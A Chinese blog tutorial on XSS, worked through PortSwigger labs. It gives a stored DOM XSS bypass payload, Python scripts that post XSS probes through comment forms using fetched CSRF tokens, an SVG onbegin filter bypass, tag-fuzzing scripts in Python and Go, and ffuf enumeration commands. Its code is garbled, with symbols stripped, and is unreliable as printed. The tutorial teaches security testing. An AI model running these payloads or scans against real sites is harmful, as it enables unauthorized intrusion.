当前位置: 首页 > article >正文

文艺复兴,什么是XSS,常见形式(二)

前言本文将继续介绍XSS的常见形状依赖于portswigger提供的免费Lab环境将重点介绍关于使用脚本来进行表单XSS验证以及针对标签的模糊测试。Lab: Stored DOM XSS这是一个存储型的DOM类的XSS具体的是当你将内容提交到评论区前端的JS函数会将内容根据一定格式输出到HTML中而这时候JS会对这些内容进行一些过滤而如果你绕过这些过滤而前端的解析函数仍然有缺陷那么它将被每一个访客触发。限制可以在前端发现这样一个JS它的作用就是将评论区的内容输出到页面上而这其中就存在一个简单的小限制可以看到是一个简单的JS替换函数它会依次替换字符串中的 和 所以这个绕过非常简单由于replace仅仅只会替换字符串的第一个字符也就是只会替换目标的一个和一个最终我们只需要向目标提交 img scr1 οnerrοralert 就可以顺利触发这个XSS可以说是最基本的限制也是最简单绕过。如何通过脚本来测试这类XSS如果有十几个网页都需要用差不多的方式来验证是否存在XSS就不能手动一个一个来尝试我们可以通过脚本来验证XSS事实上验证XSS的方式非常简单往往会通过提交请求在响应字段中找到如果提交到恶意代码被原样解析了那么百分之90就可以验证目标存在XSS了如果是DOM型的可能会使用到无头浏览器来验证它可以模拟一个正常浏览器行为可以直接在日志里确定alert的输出除此之外我们还可以通过fetch的方式例如将一个恶意的fetch注入的目标这个fetch会向你控制的一个服务器请求信息那么只要这个fetch被响应你的服务器就会收到请求和记录这是一种异步验证的方式不过这种方式有很多的局限性不仅是目标访问外网的限制同样还有会在目标浏览器留下深深的印记如果服务器是你所属那么就会马上被拉入黑名单甚至被找上门开玩笑。当然我们此次重点说明如何来注入参数因为portswigger会自动判断目标是否被注入XSS了我们主要来讲如何批量化的去测试如果对于一些简单的注入测试像是一般的?searchXSS这样的话其实是非常容易的我们可以使用任何编程语言的网络库向目标的URL提交参数这很容易所以本文讲一个关于表单注入的法子。Anti-CSRF Token机制在现代的Web框架下为了防止CSRFCross-Site Request Forgery跨站请求伪造通常会采用这个机制来限制简单来说CSRF它是攻击者利用浏览器会自动携带目标网站 Cookie 的特性诱导受害者在不知情的情况下以受害者的身份向目标网站发送恶意请求比如发帖、改密码、甚至转账。那么为了防止出现这种的借刀杀人的情况在访问存在表单的页面时服务器会生成一个随机、唯一、不可预测对照cookie且通常有时间限制的字符串这就是 CSRF Token。并且这个Token会被偷偷放到HTML源码中通过一个被隐藏的input标签当用户提交表单时这个token会被一起提交服务器会检查这个表单如果符合预期那么才会放行所以当我们通过脚本来验证目标XSS时需要考虑讲csrf token一起提交给目标。测试脚本importurllibimportrequestsfrombs4importBeautifulSoup#测试这个带有简单替换的XSSdefverify_xss_replace(url,post_path):#获取Cookie并且保持它sessionrequests.Session()post_urlurlpost_path com_urlurl/post/comment#载荷probeimg src1 onerror\alert(1)\csrf_tokentry:#这是获取csrfToken的过程首先使用相同cookie正常访问目标带有表单#的页面在返回的HTML结构中找到一个name被标记为csrf的input标签并且提取它的value值#这一步往往需要你在前端去测试看看name的值是多少ressession.get(post_url,timeout10)csrf_soupBeautifulSoup(res.text,html.parser)#print(csrf_soup.prettify())csrf_tokencsrf_soup.find(input,{name:csrf})[value]except:print(Couldnt get csrf token)returnFalsepass#构建评论注入comment_data{csrf:csrf_token,postId:1,#评论内容是我们的载荷comment:probe,name:Xss,email:testga.com# website: probe,}try:#提交这个POST请求ressession.post(com_url,datacomment_data)except:print(Couldnt post comment)returnFalse#重新正常请求目标页面res2session.get(post_url,timeout10)print(res2.text)defverify_xss_href(url,post_path):sessionrequests.Session()post_urlurlpost_path com_urlurl/post/comment#一个瞎编的测试javasrcipt测试函数probejavascript:xss_probe_8848()try:ressession.get(post_url,timeout10)soupBeautifulSoup(res.text,html.parser)csrf_inputsoup.find(input,{name:csrf})csrf_tokencsrf_input[value]except:passprint(no csrf)returncomment_data{csrf:csrf_token,postId:3,comment:测试,name:Xss,email:testga.com,website:probe,}try:post_ressession.post(com_url,datacomment_data,timeout10)except:passtry:res2session.get(post_url,timeout10)soup2BeautifulSoup(res2.text,html.parser)vuln_linksoup2.find_all(a,hrefprobe)ifvuln_link:forlinkinvuln_link:print(link)print(XSS)else:print(no XSS)except:passif__name____main__:urlhttps://XSSID.web-security-academy.net/parampost?postId1verify_xss_replace(url,param)其实这仅仅只是一个注入脚本你可以发现上面有两个测试函数其中还有一个href的注入函数如果注入目标是href那么我们可以通过解析HTML的方式来验证目标但是如果是这样的alert(1)如果真想准确验证往往会使用无头浏览器来实现此处我先不管他的具体验证当你顺利注入时portswigger会提醒你你已经完成了这个Lab。Lab: Reflected XSS with some SVG markup allowed这是一个反射型的XSS具体的是Lab环境中的search参数存在XSS缺陷它已经通过手段屏蔽了大部分的HTML标签和对应的事件但是却没有完整的屏蔽也就是说会有遗漏那么我们如何去测试这些有遗漏的标签呢有几种办法首当其冲的就是Burp它提供专用的“入侵面板”也就是Intruder可以在上面进行模糊测试来枚举得到哪些标签没有被屏蔽。模糊测试模糊测试的意思就是猜、枚举对方的值具体的是当我们提交普通的被屏蔽的标签时往往会触发400的返回值当然这些情况是各不相同的如果在本Lab中输入一个 img 标签你会得到一个:返回值为400的JSON而且还会提示你这个标签不被允许而如果这个标签是被允许也就是遗漏的屏蔽字段那么服务器会正常处理它也就是返回200系列的返回值。使用Burp的模糊测试首先拦截一个搜索任何字符串流量并且右击URL发送到Intruder面板上去大概是这样的这是Intruder面板我们主要的找到要模糊测试的位置也就是search的参数值我们把数值调整为一个 Test 的形状并且选中Test同时点击上方的Add标签它会在在此处标记一个测试位置被特殊字符包含的位置在后续攻击时会被替换为你你指定的字典中的值在这里也就是HTML标签当你成功添加标签后你会发现右侧面板变成了一个字典编辑器我们可以在portswigger网站找到HTML完整的标签列表我们去把它复制过来在面板上点击Paste复制到字典面板上随后点击整个面板上方的Start Attack开始模糊测试Burp会将字典中的每一个值都替换上去测试一下通常会返回请求的返回值和length社区版的Burp会对这个过程限速往往是每秒请求一个URL当然这个速度在这种场景足够速度太快目标Lab会不响应并且屏蔽掉你的IP在整个测试过程中不同于其他值往往就是我们要找的可以看到标签 image、 svg、 animatetransform三个标签都被遗漏了回到主题既然它可以被允许提交这三个标签那么我们就要构建一个完整的标签来触发alert达成我们的目的简单测试一下上述的任意标签 image scr1 οnerrοralert(1)你就会发现这个Lab也会屏蔽常见的事件所以我们需要再次进行模糊测试测试哪些事件是被允许的对于上述三个标签我们可以任意挑一个进行测试查看哪些事件被允许因为屏蔽手段往往是DOM解析或者字符串直接屏蔽也就是如果这个事件对这个标签没有任何作用也是可以作为测试项的也就是只要我们得到了哪些事件被允许我就可以拼装它们最终实现绕过。最后我们可以得到onbegin这个事件被允许它是一个svg图片的事件是指svg的动作开始于什么时候经过尝试最后可以发现 svg animatetransform onbeginalert(1)没有被屏蔽也就可以实现绕过。编写脚本来实现模糊测试大家可以发现其实所谓模糊测试很多情况下是很简单的就是替换字符串请求目标根据目标的返回值判断这个参数是否可用我们完全可以使用Python、Go来完成这个过程还不限速还能把玩一波让我们来试试Pythonimportrequestsimporturllib.parsefromconcurrent.futuresimportThreadPoolExecutor,as_completed URLhttps://XSSID.h1-web-security-academy.net/Payload[script,svg,img,animatetransform,iframe,body,image]Max_Threads10defcheck_payload(tag): 发送请求到目标并且判断响应码 :param tag: :return: tag,bool raw_payloadf{tag}encoded_payloadurllib.parse.quote(raw_payload)urlf{URL}?search{encoded_payload}try:responserequests.get(url,timeout5)ifresponse.status_code200:returntag,Trueelse:returntag,Falseexceptrequests.RequestExceptionase:returntag,ferror:{e}defmain():valid_tags[]withThreadPoolExecutor(max_workersMax_Threads)asexecutor:future_to_tag{executor.submit(check_payload,tag):tagfortaginPayload}forfutureinas_completed(future_to_tag):tagfuture_to_tag[future]try:return_teg,is_validfuture.result()ifis_validisTrue:print(ffound tag for{return_teg})valid_tags.append(return_teg)elifis_validisFalse:passelse:print(finvalid tag for{return_teg})exceptExceptionase:print(fError for{e})if__name____main__:main()上述实现了一个非常直观进行了简单的并发请求过程首先实现一个验证函数它根据提供的标签构建了一个具体的URL也就是URLsearch Tag 并且请求它根据这个请求的返回值决定这个函数返回True or False之后我们只用一个最大并发为10的上下文管理器并且将验证函数提交给线程池再去读取已经完成请求的也就是验证函数已经完成返回的值如果是200那么就证明这个请求是完整的顺利的也就是这个标签是被允许的而如果是400或者其他我们就直接pass掉当然这个过程不是一定的在实际验证中我们往往不会知道顺利访问后的标签是200还是201还是302等等所以我们需要记录它们的返回值和length到时候一对比独特的那个大概率就是我们要找的标签。GopackageXSSimport(fmtnet/httpnet/urlsynctime)const(URLhttps://0a65004504a7954781c6484c00bc0049.h1-web-security-academy.net/MaxWork10)typeResultstruct{TagstringIsValidboolErrorerror}funcworker(idint,jobs-chanstring,resultschan-Result,wg*sync.WaitGroup){deferwg.Done()client:http.Client{Timeout:time.Second*5,}fortag:rangejobs{rawPayload:fmt.Sprintf(%s,tag)encodePayload:url.QueryEscape(rawPayload)reqUrl:fmt.Sprintf(%s?search%s,URL,encodePayload)resp,err:client.Get(reqUrl)iferr!nil{results-Result{Tag:tag,IsValid:false,Error:err}}isValid:falseifresp.StatusCode200{isValidtrue}resp.Body.Close()results-Result{Tag:tag,IsValid:isValid,Error:err}}}funcDo(){payloads:[]string{script,svg,img,animatetransform,iframe,image}jobs:make(chanstring,len(payloads))results:make(chanResult,len(payloads))varwg sync.WaitGroupforw:1;wMaxWork;w{wg.Add(1)goworker(w,jobs,results,wg)}for_,tag:rangepayloads{jobs-tag}close(jobs)gofunc(){wg.Wait()close(results)}()forres:rangeresults{ifres.Error!nil{}elseifres.IsValid{fmt.Println(Found Tag for res.Tag)}}}Go天生并发使用经典的生产消费者模型通过开启子线程随后经过管道将标签提交给子线程随后再次使用管道来获取子线程的返回的Result上面就记录了该请求的返回值等总体过程也是如果此子线程负责将传入的标签构建为具体的URL随后就直接进行请求并且将返回值放到通往主线程管道的Results中我们可以通过循环读取Results中的值就可以顺利把所有完成的请求都检查一遍Go在并发上及其有优势当数据量达到一定程度Go的效率和性能都会碾压Python当然Go的缺陷是编写效率不高像这样的只有几百次的触发二者不会展示太大的差距。ps测试时这里的数据多敲了一个svg不是线程的问题使用ffuf进行模糊测试ffuf全称 Fuzz Faster U Fool是当前Web安全方面最炙手可热的开源模糊测试工具它非常快非常强大拥有相当不错的过滤机制ffuf 的工作哲学非常简单粗暴但极其有效占位符替换。它不预设你是在扫目录、扫域名还是测漏洞。你只需要提供一个 HTTP 请求URL、Header 或 POST Body 均可在你想测试的地方放上一个关键字默认是 FUZZ然后交给 ffuf 一个字典文件Wordlist。ffuf 会以极高的并发速度用字典里的每一行词去替换 FUZZ 这个词发送请求并根据你设定的规则筛选出有价值的响应。也就是说你可以拿它来进行目录与文件枚举# 寻找网站下的隐藏目录ffuf-wcommon-dirs.txt-uhttps://target.com/FUZZ子域名枚举# 寻找 target.com 的子域名ffuf-wsubdomains.txt-uhttps://FUZZ.target.com/虚拟主机发现# 保持 URL 为目标 IP不断替换 Host 头ffuf-wvhosts.txt-uhttp://192.168.1.100-HHost: FUZZ.target.com参数名与参数数值注入# 寻找隐藏的 GET 参数名ffuf-wparameters.txt-uhttps://target.com/api/user?FUZZtest在一个就是ffuf有一个强大的匹配和过滤机制分别对应m和f标签具体的是匹配你想要的 (Match):mc 200,302只显示 HTTP 状态码为 200 或 302 的响应 (Match Code)。ms 1500只显示响应包大小精确为 1500 字节的响应 (Match Size)。mr “admin”只显示响应体中包含 “admin” 字符串的响应 (Match Regexp)。过滤你不要的 (Filter):fc 404,403隐藏状态码为 404 或 403 的响应 (Filter Code)。fs 0,42隐藏响应包大小为 0 或 42 字节的响应极度常用很多网站的 404 页面状态码是 200但大小是固定的用 -fs 可以完美过滤这种“假 200”。fl 10隐藏响应体行数为 10 行的响应 (Filter Lines)。当然除此之外呢你可以进行 -c 开启色彩输出 -t 50 设置并发数为50-p 0.1 请求暂停间隙 -x 流量代理 -o输出为文件。经过之前的Burp和脚本来看ffuf测试上述Lab就显得非常简单这里就不去测试了值得一提的别直接大规模并发去测试Lab它真的会直接封掉你的IP。总结本文通过两个经典的XSS注入分析了各个工具的使用无论是手动测试或者使用Burp以及写脚本等等其实本质都差不多在实际的生产测试环境中XSS的验证往往还会有更多的细节所以对于很多场景下我们需要试探性的多尝试有时候一个%20就会影响最终的解析所以大家加油。

相关文章:

文艺复兴,什么是XSS,常见形式(二)

前言 本文将继续介绍XSS的常见形状,依赖于portswigger提供的免费Lab环境,将重点介绍关于使用脚本来进行表单XSS验证以及针对标签的模糊测试。 Lab: Stored DOM XSS 这是一个存储型的DOM类的XSS,具体的是当你将内容提交到评论区&#xff0c…...

链表合并不解之处

我在做一元多次的方程合并时,在节点函数中定义系数和指数,相当于给你两个La,Lb链表,按照节点中的指数大小排序,对他们系数进行合并。我有两种方式进行编写。题目:第一行包含一个整数 nn,表示第一…...

ViGEmBus如何解决Windows游戏控制器兼容性难题?

ViGEmBus如何解决Windows游戏控制器兼容性难题? 【免费下载链接】ViGEmBus Windows kernel-mode driver emulating well-known USB game controllers. 项目地址: https://gitcode.com/gh_mirrors/vi/ViGEmBus ViGEmBus是一款专业的Windows内核模式驱动程序&a…...

包装器简介

可调用对象:可以使用()运算符进行调用的对象,本质是能像函数一样使用的东西常见课调用对象:函数指针,仿函数,lambda表达式我们能否使用统一的方式对其封装,进行调用,这时…...

如何实现精准歌词同步?KRC格式全解析与应用实践

如何实现精准歌词同步?KRC格式全解析与应用实践 【免费下载链接】KuGouMusicApi 酷狗音乐 Node.js API service 项目地址: https://gitcode.com/gh_mirrors/ku/KuGouMusicApi 在音乐应用开发中,歌词显示功能看似简单,实则隐藏着诸多技…...

OpenClaw任务编排:用Qwen3.5-4B-Claude实现爬虫+分析闭环

OpenClaw任务编排:用Qwen3.5-4B-Claude实现爬虫分析闭环 1. 为什么需要自动化任务编排 去年我接手了一个市场调研项目,需要每周从20多个网站抓取产品价格数据,清洗后生成趋势图表。最初用Python脚本手动Excel处理,每次要花3小时…...

大模型进阶必看:Agent Skills如何让AI开发更标准化、可复用?速收藏!

随着AI应用开发成熟,工具调用经历了Function Calling、MCP协议到Agent Skills三个阶段。Agent Skills通过文件系统原生设计,将指令、工作流和资源打包成可复用模块,革新上下文管理,实现代码即工具,摆脱供应商锁定。它使…...

6种压缩黑科技如何彻底解决文件处理的效率难题

6种压缩黑科技如何彻底解决文件处理的效率难题 【免费下载链接】7-Zip-zstd 7-Zip with support for Brotli, Fast-LZMA2, Lizard, LZ4, LZ5 and Zstandard 项目地址: https://gitcode.com/gh_mirrors/7z/7-Zip-zstd 为何压缩工具总是陷入"速度与压缩率"的两难…...

X-TRACK二次开发终极指南:如何基于开源框架快速扩展新功能

X-TRACK二次开发终极指南:如何基于开源框架快速扩展新功能 【免费下载链接】X-TRACK A GPS bicycle speedometer that supports offline maps and track recording 项目地址: https://gitcode.com/gh_mirrors/xt/X-TRACK X-TRACK是一款支持离线地图和轨迹记…...

OpenClaw+GLM-4.7-Flash学习助手:自动整理课程笔记与生成复习题

OpenClawGLM-4.7-Flash学习助手:自动整理课程笔记与生成复习题 1. 为什么需要自动化学习助手? 去年备考研究生时,我每天要处理3-4小时的课程视频。最痛苦的不是听课本身,而是课后整理:手动截取关键片段、转录字幕、标…...

突破语言边界:XUnity.AutoTranslator全场景应用指南

突破语言边界:XUnity.AutoTranslator全场景应用指南 【免费下载链接】XUnity.AutoTranslator 项目地址: https://gitcode.com/gh_mirrors/xu/XUnity.AutoTranslator 当你打开一款期待已久的外文游戏,却被满屏陌生文字阻挡了探索的脚步&#xff1…...

探索AI原生应用领域向量数据库的无限潜力

探索AI原生应用领域向量数据库的无限潜力关键词:向量数据库、AI原生应用、Embedding、向量相似度、多模态检索、大模型协同、语义理解摘要:当AI从“辅助工具”进化为“原生生产力”,一种专为AI设计的数据库——向量数据库,正在重塑…...

嵌入式GUI技术选型与实现方案对比

1. 主流小型嵌入式GUI技术解析1.1 TouchGFX技术方案TouchGFX以其华丽的界面效果和流畅的动画著称,采用C语言开发,特别适合STM32系列MCU。其核心优势在于TouchGFX Designer工具,该工具提供:可视化界面设计环境丰富的控件库&#xf…...

大数据产品实战:用户画像系统的设计与实现

大数据产品实战:用户画像系统的设计与实现 关键词:用户画像、标签体系、大数据平台、精准营销、数据挖掘 摘要:用户画像系统是大数据时代企业实现“以用户为中心”运营的核心工具,它通过给用户“贴标签”的方式,将复杂的用户行为转化为可量化、可分析的数字特征。本文将从…...

拒了一个只要1.8万的45岁大佬

因公众号更改推送规则,请点“在看”并加“星标”第一时间获取精彩技术分享点击关注#互联网架构师公众号,领取架构师全套资料 都在这里0、2T架构师学习资料干货分上一篇:2T架构师学习资料干货分享大家好,我是互联网架构师&#xff…...

为什么你的Ping总是丢包?这7个隐藏原因90%的人都忽略了(含Wireshark分析技巧)

为什么你的Ping总是丢包?这7个隐藏原因90%的人都忽略了(含Wireshark分析技巧) 在网络运维的日常工作中,Ping命令就像网络工程师的听诊器,简单却至关重要。但当你发现Ping测试频繁丢包时,问题往往不像表面看…...

想给西安碑林、雁塔等区旧房装修?知名靠谱装修公司在哪找?

在西安碑林、雁塔等区拥有一套旧房,想要进行装修,却不知道如何找到知名靠谱的装修公司?别担心,本文将为你详细介绍选择装修公司的方法,并重点推荐西安王师傅装修工程有限公司,为你的旧房装修之旅提供可靠的…...

Spring Boot 中 Quartz 与 PostgreSQL 持久化实战:构建可视化定时任务管理平台

1. 为什么需要定时任务持久化 在企业级应用开发中,定时任务就像是一个不知疲倦的闹钟,每天准时叫醒你的业务逻辑。但传统的Scheduled注解方式有个致命缺陷——所有的任务配置都硬编码在代码里。想象一下,每次修改任务执行时间都需要重新部署应…...

OpenClaw跨平台实战:Windows到Mac的Qwen3-32B配置迁移

OpenClaw跨平台实战:Windows到Mac的Qwen3-32B配置迁移 1. 为什么需要跨平台配置迁移? 去年冬天,我在Windows工作站上搭建了一套基于Qwen3-32B的OpenClaw自动化系统,用于处理日常的文档整理和数据分析任务。当公司配发新款MacBoo…...

Python多进程+ZeroMQ+内存映射=真无锁?资深架构师用17个生产事故告诉你为什么92%的“去GIL”方案在高并发下静默失败

第一章:Python无锁GIL环境下的并发模型避坑指南Python 的全局解释器锁(GIL)长期被误认为是“无锁”环境,实则恰恰相反——GIL 是 CPython 解释器中一把严格的互斥锁,它确保任意时刻仅有一个线程执行 Python 字节码。所…...

智能记账本:OpenClaw+Qwen3.5-9B自动归类信用卡消费邮件

智能记账本:OpenClawQwen3.5-9B自动归类信用卡消费邮件 1. 为什么需要自动化记账工具 每次收到银行消费短信时,我都会陷入两难:手动记账太繁琐,不记账又会导致月度消费分析失真。传统记账软件需要手动输入金额和分类&#xff0c…...

Mojo+Python混合项目部署失败全记录(含完整错误日志溯源与跨运行时调试手册)

第一章:MojoPython混合项目部署失败全记录(含完整错误日志溯源与跨运行时调试手册)在将 Mojo 模块嵌入 Python 3.11 环境的 CI/CD 流水线中,首次构建即触发运行时崩溃。核心现象为 mojo_runtime_init() 在 Python 进程内调用后立即…...

告别频繁输密码!域环境下Windows软件静默安装的两种野路子(慎用)

告别频繁输密码!域环境下Windows软件静默安装的两种野路子(慎用) 在中小企业IT运维的日常中,软件批量部署和远程协助安装堪称两大高频痛点。想象这样的场景:财务部急需更新报税软件,二十台电脑需要同时处理…...

OpenClaw技能市场指南:Qwen3.5-4B-Claude适配的20个实用模块

OpenClaw技能市场指南:Qwen3.5-4B-Claude适配的20个实用模块 1. 为什么需要关注技能市场? 第一次接触OpenClaw时,我以为它只是个能执行简单命令的自动化工具。直到在ClawHub技能市场里发现"会议纪要生成器"模块,才意识…...

SRS + FFmpeg WebRTC 循环推流环境搭建

SRS FFmpeg WebRTC 循环推流环境搭建指南 本指南介绍如何使用 Docker Compose 快速搭建一个基于 SRS (Simple Realtime Server) 的流媒体测试环境。 推流协议:RTMP (FFmpeg 模拟推流)拉流协议:WebRTC (低延迟播放)特性:视频循环播放、不保存…...

【PyCon 2024核心议题首发】:CPython 3.13 asyncio重构内幕——原生任务取消语义、零拷贝Socket API与异步GC优化前瞻

第一章:PyCon 2024与CPython 3.13异步演进全景图PyCon 2024于五月在匹兹堡圆满落幕,其核心议题之一正是CPython 3.13的异步能力跃迁。作为首个将async/await语义深度融入解释器底层的Python版本,3.13引入了原生协程调度优化、零拷贝内存视图支…...

开局掌控者:EdB Prepare Carefully - RimWorld自定义体验革命

开局掌控者:EdB Prepare Carefully - RimWorld自定义体验革命 【免费下载链接】EdBPrepareCarefully EdB Prepare Carefully, a RimWorld mod 项目地址: https://gitcode.com/gh_mirrors/ed/EdBPrepareCarefully 副标题:如何告别随机开局&#xf…...

OpenClaw智能邮件助手:nanobot镜像自动分类与回复重要邮件

OpenClaw智能邮件助手:nanobot镜像自动分类与回复重要邮件 1. 为什么需要智能邮件助手 每天早晨打开邮箱,看到堆积如山的未读邮件总是让人头疼。重要客户的询盘可能被埋没在促销广告中,紧急的协作请求可能因为延迟回复而影响项目进度。作为…...

如何通过Universal Android Debloater实现Android设备深度优化

如何通过Universal Android Debloater实现Android设备深度优化 【免费下载链接】universal-android-debloater Cross-platform GUI written in Rust using ADB to debloat non-rooted android devices. Improve your privacy, the security and battery life of your device. …...

别再只盯着GPS了!从手机导航到无人机测绘,聊聊SPP、DGPS、RTK、PPP这几种定位技术到底该怎么选?

定位技术实战指南:从厘米级精度到全球覆盖的智能决策 站在一片待测绘的工地上,无人机工程师小王正面临一个关键抉择——该为这批新设备配置哪种定位模块?RTK的厘米级精度令人心动,但架设基准站的成本让他犹豫;PPP技术号…...